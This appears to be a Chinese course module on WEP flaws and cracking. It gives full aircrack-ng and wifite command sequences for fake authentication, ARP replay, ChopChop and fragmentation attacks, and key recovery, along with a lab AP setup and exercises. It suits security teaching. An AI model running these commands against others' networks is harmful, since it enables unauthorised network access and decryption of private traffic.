模块03:WEP破解
学习目标:掌握WEP协议漏洞原理和完整破解流程
所需工具:airmon-ng, airodump-ng, aireplay-ng, aircrack-ng, wifite
目录
一、WEP协议漏洞原理
1.1 WEP加密过程
flowchart LR A[明文数据] --> B[CRC-32计算ICV] B --> C[明文 + ICV] C --> D[RC4加密] subgraph 密钥生成["密钥生成"] E[24位IV + 40位WEP密钥] --> F[64位RC4种子] end F --> D D --> G[IV 明文 + 密文] G --> H[802.11 WEP帧]
WEP帧格式:
| IV (3字节) | KeyID(1位) | 密文 | ICV(4字节) |
|---|---|---|---|
| 明文传输! | 密钥编号 | 加密数据 | 明文+ICV |
1.2 WEP的核心缺陷
缺陷一:IV空间太小
- IV只有24位 → 16,777,216种可能值
- 在活跃网络中,IV在数小时内就会重复
- 相同的IV + 相同的WEP密钥 → 相同的密钥流
- 相同的密钥流 → 可以通过XOR运算恢复明文
缺陷二:RC4密钥调度弱点
- RC4的KSA(Key Scheduling Algorithm)存在偏置
- 某些RC4输出字节比其他字节出现概率更高
- FMS攻击(Fluhrer, Mantin, Shamir)利用此弱点
- PTW攻击(Pyshkin, Tews, Weinmann)进一步改进
缺陷三:线性CRC-32校验
- CRC-32是线性的 → 可以数学运算修改
- 攻击者可以修改密文并重新计算正确的CRC
- 这使得数据注入成为可能
缺陷四:缺少密钥管理
- 静态密钥:密钥从不自动更换
- 所有客户端共享同一密钥
- 没有认证机制(开放系统认证完全无效)
1.3 ARP重放攻击原理
sequenceDiagram participant A as 攻击者 participant AP as 目标AP participant C as 合法客户端 C->>AP: ARP请求(加密) A->>A: 嗅探到ARP包(固定长度可识别) A->>AP: 重放ARP包 AP->>C: ARP响应(加密) Note over A,AP: 每次ARP响应产生新的IV A->>AP: 持续重放 × N次 Note over A: 收集大量不同IV的密文 A->>A: 统计攻击(PTW)推导WEP密钥
为什么ARP包适合作重放?
- ARP包长度固定(36字节或68字节)
- ARP包头8字节(AA AA 03 00 00 00 08 06)固定可识别
- 大量ARP包产生大量不同的IV
- 对网络影响小,不易被察觉
二、完整WEP破解流程
2.1 总体流程
flowchart TD A[启动监听模式] --> B[定向扫描目标WEP网络] B --> C[伪关联 Fake Auth] C --> D{关联成功?} D -->|是| E[ARP重放攻击] D -->|否| C E --> F[监控#Data列增长] F --> G{IV >= 5000?} G -->|否| E G -->|是| H[aircrack-ng破解] H --> I{KEY FOUND?} I -->|是| J[破解成功] I -->|否| E
2.2 详细步骤
步骤一:启用监听模式
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo iwconfig wlan0mon # 确认Mode=Monitor步骤二:定向扫描目标WEP网络
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_crack wlan0mon参数详解:
-c 6:锁定信道6(使用目标AP实际信道)--bssid AA:BB:CC:DD:EE:FF:指定目标AP的MAC地址-w wep_crack:保存捕获数据到 wep_crack-01.cap
保持此窗口打开,不要关闭!
步骤三:伪关联(Fake Authentication)
为什么需要伪关联?
- 大多数AP拒绝与未关联设备通信
- 伪关联让AP认为我们是合法客户端
- 成功后AP会接受我们注入的数据包
sudo aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF -e WEP_Lab wlan0mon参数详解:
-1:伪关联攻击模式0:关联超时重试时间(秒),0=无超时持续重试-a:目标AP的MAC地址-e:目标网络名(可选)-h:指定攻击者MAC(默认使用网卡MAC)
成功输出示例:
18:25:32 Sending Authentication Request (Open System)
18:25:32 Authentication successful
18:25:32 Sending Association Request
18:25:32 Association successful :-)
步骤四:ARP请求重放攻击
这是最核心的攻击步骤:
sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h 00:11:22:33:44:55 wlan0mon参数详解:
-3:ARP请求重放攻击模式-b:目标AP的MAC地址-h:指定攻击源MAC地址(可选)-x <pps>:指定每秒发送包数(推荐500-1024)
速度优化技巧:
- 如果有多个客户端,指定客户端MAC可能更快
- 限制发送速率
-x 600防止AP崩溃 - 使用
-x 1024可以最大化速度
回到airodump-ng窗口观察:
- data列数值迅速增长 ← 关键指标!
- 在5-10分钟内,#Data从几百增加到几万
- 一般需要5000-40000个IV才能破解64位WEP
- 128位WEP需要20000-80000个IV
步骤五:破解WEP密钥
sudo aircrack-ng wep_crack-01.cap
# 或指定BSSID
sudo aircrack-ng -b AA:BB:CC:DD:EE:FF wep_crack-01.cap参数详解:
wep_crack-01.cap:包含足够IV的捕获文件-b BSSID:指定目标AP(如果文件包含多个AP)-K:使用KoreK攻击替代PTW(可选)-z:使用PTW攻击(默认)
密钥格式:
- 64位WEP:密钥为5字节(10个十六进制字符),如
AE:B8:CC:1D:A4 - 128位WEP:密钥为13字节(26个十六进制字符)
- 也可以用ASCII密码,如
MyWEPKey1234
2.3 备选攻击方式
ChopChop攻击(当ARP重放不可用时):
原理:解密单个数据包,获得密钥流
sudo aireplay-ng -4 -b AA:BB:CC:DD:EE:FF -h 00:11:22:33:44:55 wlan0mon碎片攻击(Fragmentation Attack):
原理:从AP获取PRGA(伪随机生成算法)字节流
sudo aireplay-ng -5 -b AA:BB:CC:DD:EE:FF -h 00:11:22:33:44:55 wlan0mon交互式包重放(针对特殊网络):
sudo aireplay-ng -2 -b AA:BB:CC:DD:EE:FF -h 00:11:22:33:44:55 wlan0mon2.4 WEP共享密钥认证绕过
对于使用共享密钥认证(SKA)的WEP网络:
攻击原理:先捕获SKA认证过程 → 提取挑战-响应 → 计算密钥流 → 通过认证
sudo aireplay-ng -1 60 -e WEP_SKA -y keystream.xor wlan0mon三、自动化WEP破解
3.1 wifite — 一键WEP破解
wifite自动化优势:
- 全自动扫描、选择、攻击
- 自动判断攻击策略
- 自动管理接口
- 支持多目标并发攻击
基本命令:
sudo wifite --wep执行流程:
- 自动启动监听模式
- 扫描并列出所有WEP目标
- 按信号强度排序
- 用户选择目标(或—all全选)
- 自动执行伪关联 + ARP重放 + 破解
高级用法:
sudo wifite --wep --all # 攻击所有目标
sudo wifite --wep -b AA:BB:CC:DD:EE:FF # 指定目标
sudo wifite --wep -c 6 # 指定信道
sudo wifite --wep -pwr -50 # 最小信号强度阈值3.2 wifite参数速查表
| 参数 | 说明 |
|---|---|
| —wep | 仅攻击WEP网络 |
| —wpa | 仅攻击WPA/WPA2网络 |
| —wps | 仅攻击启用WPS的网络 |
| —all | 攻击所有发现的可攻击目标 |
| -b <BSSID> | 指定目标BSSID |
| -c <channel> | 指定信道 |
| -e <ESSID> | 指定目标网络名称 |
| —kill | 自动杀死干扰进程 |
| -i <interface> | 指定无线接口 |
| -pwr <dBm> | 最小信号强度阈值 |
保留破解结果:
- 默认存在
/usr/share/wifite/或当前目录 - 包含
.cap文件(捕获的握手包) - 包含
.txt文件(破解出的密码)
四、双网卡加速
如果有两张无线网卡:
# 终端1:网卡1用于捕获
sudo airodump-ng -c 6 --bssid TARGET -w wep_cap wlan0mon
# 终端2:网卡2用于注入
sudo aireplay-ng -3 -b TARGET wlan1mon好处:
- 不会因为监听信道跳转而丢失数据包
- 可以同时从多个角度捕获
- 破解效率更高
五、故障排除
5.1 常见问题和解决方案
问题:伪关联失败
原因:AP可能使用了MAC地址过滤或需要客户端已有连接
# 尝试指定客户端MAC
sudo aireplay-ng -1 0 -a AP_MAC -h CLIENT_MAC wlan0mon问题:ARP重放无效果(#Data不增长)
原因:网卡注入功能不正常或AP过滤了注入包
# 测试注入能力
sudo aireplay-ng -9 wlan0mon
# 如果测试失败,尝试更换网卡或驱动问题:注入测试命令
sudo aireplay-ng -9 wlan0mon
# 输出应显示"Injection is working!"问题:airodump-ng显示固定信道无法修改
原因:有进程占用了网卡信道
sudo airmon-ng check kill
# 重新启动监听模式
sudo airmon-ng start wlan0六、实践操作
6.1 搭建WEP测试AP
使用hostapd模拟WEP AP:
cat > /tmp/hostapd_wep.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=WEP_Test_Lab
hw_mode=g
channel=6
wep_default_key=0
wep_key0="abcde"
auth_algs=3
EOF
sudo hostapd /tmp/hostapd_wep.conf不要使用自己的主路由器!请准备专门的测试AP。
6.2 完整手动破解演练
# Step 1: 进入监听模式
sudo airmon-ng check kill
sudo airmon-ng start wlan0
# Step 2: 扫描WEP网络
sudo airodump-ng wlan0mon
# 查找ENC列显示"WEP"的目标,记录BSSID和信道
# Step 3: 定向扫描(保持此窗口打开)
sudo airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w wep_crack wlan0mon
# 新终端 Step 4: 伪关联
sudo aireplay-ng -1 0 -a 00:14:6C:7E:40:80 -e WEP_Test_Lab wlan0mon
# 新终端 Step 5: ARP重放
sudo aireplay-ng -3 -b 00:14:6C:7E:40:80 wlan0mon
# 观察输出中是否有 "Got ARP request"
# 回到Step 4窗口,观察 #Data 列的增长
# Step 6: 等待IV收集
# 64位WEP:等待#Data达到约5000+
# 128位WEP:等待#Data达到约20000+
# Step 7: 破解密钥
sudo aircrack-ng wep_crack-01.cap
# 成功输出: "KEY FOUND!" [ XX:XX:XX:XX:XX ]6.3 wifite自动化演练
sudo wifite --wep
# 等待扫描完成 → 按序号选择目标
# wifite自动执行:伪关联 → ARP重放 → 破解课后练习
- 用自己的语言解释WEP的RC4密钥流重复问题
- 手动完成一次完整的WEP破解(从扫描到密钥获取)
- 破解后使用airdecap-ng解密捕获的WEP加密流量
- 对比不同IV数量下的破解时间(1000 IV vs 10000 IV vs 50000 IV)
- 研究ChopChop攻击作为ARP重放的替代方案
- 实验ARP重放速率对破解速度的影响(不同-x值)
- 用Wireshark分析WEP帧结构,识别IV和密文部分